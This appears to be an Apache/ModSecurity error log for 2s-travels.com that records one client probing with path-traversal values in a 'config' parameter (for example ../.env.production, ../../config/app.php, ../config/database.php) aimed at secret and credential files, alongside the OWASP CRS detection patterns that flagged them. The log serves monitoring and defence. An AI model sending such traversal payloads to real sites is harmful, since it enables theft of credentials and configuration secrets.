[Fri Jul 17 08:55:04.909072 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLwAAABs"]
[Fri Jul 17 08:55:04.910247 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLwAAABs"]
[Fri Jul 17 08:55:04.910402 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.910724 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBLwAAABs"]
[Fri Jul 17 08:55:04.916542 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBiAAAAAQ"]
[Fri Jul 17 08:55:04.916607 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBiAAAAAQ"]
[Fri Jul 17 08:55:04.917978 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBiAAAAAQ"]
[Fri Jul 17 08:55:04.918170 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.918540 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBiAAAAAQ"]
[Fri Jul 17 08:55:04.923019 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBMAAAAAY"]
[Fri Jul 17 08:55:04.923070 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBMAAAAAY"]
[Fri Jul 17 08:55:04.924252 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBMAAAAAY"]
[Fri Jul 17 08:55:04.924378 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.924697 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBMAAAAAY"]
[Fri Jul 17 08:55:04.925558 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRgAAAAE"]
[Fri Jul 17 08:55:04.925623 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRgAAAAE"]
[Fri Jul 17 08:55:04.928097 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95jAAAAAw"]
[Fri Jul 17 08:55:04.928137 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95jAAAAAw"]
[Fri Jul 17 08:55:04.928211 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:config: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95jAAAAAw"]
[Fri Jul 17 08:55:04.929303 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkIl9vhFBGA6D8l95jAAAAAw"]
[Fri Jul 17 08:55:04.929420 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.929697 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkIl9vhFBGA6D8l95jAAAAAw"]
[Fri Jul 17 08:55:04.933029 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRgAAAAE"]
[Fri Jul 17 08:55:04.933323 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.933857 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zRgAAAAE"]
[Fri Jul 17 08:55:04.945366 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?config=..%2F..%2Fconfig%2Fapp.php&debug=MKZ1tGTQSv5j2lRMADLsvjFQZLLstUWT7trtJvuxZCCqFjogpN_3HibSYHwX6CnAUKfh-Nitrhe2NkUL-fnF-NgpQR2sFdc3E_MbgL43BxWwmMguwuZGuuvJQ-ek_sAXMFQ1dQ4LKjWktZ8EeuNi5UCDFP30d4HLgEPg8GswDKEOhypShorAMUusgs1rRf-oDNdbNV4UU8uuBHm42gBMDtrNtupPYlBVj_0x5QW7bMEiraiquzBEEheqLSD3iA7YPnPrE-kep5rYYXWwXqlHSzCe&token=KMQRGXE6RSXIXUQWROUY5PXEK76ZJ3S4YIVXID3NM2ZBETBZIRAUC2CWTF4RFNSAKKMIFTD4NHDZHC3SVJFC36EIDKBGDP35HYKTVPZUTQZTQKS6MOK565UIN7J6FPG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.945417 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:config: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.945465 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../config/app.php&debug=MKZ1tGTQSv5j2lRMADLsvjFQZLLstUWT7trtJvuxZCCqFjogpN_3HibSYHwX6CnAUKfh-Nitrhe2NkUL-fnF-NgpQR2sFdc3E_MbgL43BxWwmMguwuZGuuvJQ-ek_sAXMFQ1dQ4LKjWktZ8EeuNi5UCDFP30d4HLgEPg8GswDKEOhypShorAMUusgs1rRf-oDNdbNV4UU8uuBHm42gBMDtrNtupPYlBVj_0x5QW7bMEiraiquzBEEheqLSD3iA7YPnPrE-kep5rYYXWwXqlHSzCe&token=KMQRGXE6RSXIXUQWROUY5PXEK76ZJ3S4YIVXID3NM2ZBETBZIRAUC2CWTF4RFNSAKKMIFTD4NHDZHC3SVJFC36EIDKBGDP35HYKTVPZUTQZTQKS6MOK565UIN7J6FPG22ZX5HATMRE4JZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.945511 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?config=../../config/app.php&debug=mkz1tgtqsv5j2lrmadlsvjfqzllstuwt7trtjvuxzccqfjogpn_3hibsyhwx6cnaukfh-nitrhe2nkul-fnf-ngpqr2sfdc3e_mbgl43bxwwmmguwuzguuvjq-ek_saxmfq1dq4lkjwktz8eeuni5ucdfp30d4hlgepg8gswdkeohypshoramuusgs1rrf-odndbnv4uu8uubhm42gbmdtrntuppylbvj_0x5qw7bmeiraiquzbeeheqlsd3ia7ypnpre-kep5ryyxwwxqlhszce&token=kmqrgxe6rsxixuqwrouy5pxek76zj3s4yivxid3nm2zbetbzirauc2cwtf4rfnsakkmiftd4nhdzhc3svjfc36eidkbgdp35hyktvpzutqztqks6mok565uin7j6fpg22zx5hatmre4jz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.945545 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.945576 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.945658 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:config: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.946898 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.947084 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.947456 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBigAAAAQ"]
[Fri Jul 17 08:55:04.971420 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:config. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:config: ../config/database.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zRwAAAAE"]
